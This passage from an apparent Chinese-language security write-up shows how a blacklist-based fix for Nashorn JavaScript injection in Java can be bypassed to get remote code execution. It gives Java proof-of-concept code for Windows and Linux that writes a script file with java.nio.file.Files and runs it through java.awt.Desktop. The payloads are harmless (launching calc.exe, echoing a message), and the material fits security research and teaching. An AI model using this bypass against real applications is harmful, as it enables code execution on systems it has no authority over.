engine.eval(validationRules);
命令执行的修复方式:
只对3个内部执行命令的类做了黑名单。
Nashorn 是 Java 8 引入的 JavaScript 引擎,允许在js代码中调用java的类与方法。
这里的类指的是项目中的所有类,不局限于JDK,相当于我们可以调用项目里的任意类的任意方法,并且参数都是完全可控的,Java组件安全那些几乎都能用上。
只要找到一种RCE的手段就可以了,因为很久没有碰Java组件安全方面的内容了,已经很生疏。
这里先找一个简单的RCE方法,后面复习了更多方式再来补充。
FileWrite2RCE
介绍两个类
java.nio.file.Files
Java NIO(New I/O)库的一部分,用于处理文件和目录的操作。
该类提供了许多静态方法,简化了常见的文件操作,如读取、写入、复制、移动、删除文件等。它于 Java 7 引入,并且大大简化了文件操作的代码。
java.awt.Desktop
AWT(Abstract Window Toolkit)的一部分,用于与桌面环境交互。
该类提供了一些方法来启动已安装在本地计算机上的应用程序来处理 URI 或文件。例如,可以用默认的浏览器打开网页,用默认的邮件客户端发送电子邮件,或者用默认的应用程序打开文件。
- win
使用JDK内部类 java.nio.file.Files
和 java.awt.Desktop
来创建和执行一个临时脚本文件。
public static void main(String[] args) throws Exception {
try {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
// JavaScript 脚本,使用 java.nio.file.Files 和 java.awt.Desktop 来创建和执行一个临时脚本文件
String script =
"var Files = Java.type('java.nio.file.Files');" +
"var Paths = Java.type('java.nio.file.Paths');" +
"var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption');" +
"var Desktop = Java.type('java.awt.Desktop');" +
"var scriptPath = Paths.get('run_calc.bat');" +
"Files.write(scriptPath, 'start calc.exe'.getBytes(), StandardOpenOption.CREATE);" +
"Desktop.getDesktop().open(scriptPath.toFile());";
// 执行脚本
engine.eval(script);
} catch (Exception e) {
e.printStackTrace();
}
}
- linux
public static void main(String[] args) throws Exception {
try {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
// JavaScript 脚本,使用 java.nio.file.Files 和 java.awt.Desktop 来创建和执行一个临时脚本文件
String script =
"var Files = Java.type('java.nio.file.Files');" +
"var Paths = Java.type('java.nio.file.Paths');" +
"var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption');" +
"var Desktop = Java.type('java.awt.Desktop');" +
"var scriptPath = Paths.get('/tmp/evil.sh');" +
"Files.write(scriptPath, '#!/bin/bash\\necho \\'Hello, Linux!\\''.getBytes(), StandardOpenOption.CREATE);" +
"scriptPath.toFile().setExecutable(true);" +
"Desktop.getDesktop().open(scriptPath.toFile());";
//String script = "var Files = Java.type('java.nio.file.Files'); var Paths = Java.type('java.nio.file.Paths'); var StandardOpenOption = Java.type('java.nio.file.StandardOpenOption'); var Desktop = Java.type('java.awt.Desktop'); var scriptPath = Paths.get('/tmp/evil.sh'); Files.write(scriptPath, '#!/bin/bash\\necho \\'Hello, Linux!\\''.getBytes(), StandardOpenOption.CREATE); scriptPath.toFile().setExecutable(true); Desktop.getDesktop().open(scriptPath.toFile());";
// 执行脚本
engine.eval(script);
} catch (Exception e) {
e.printStackTrace();
}
}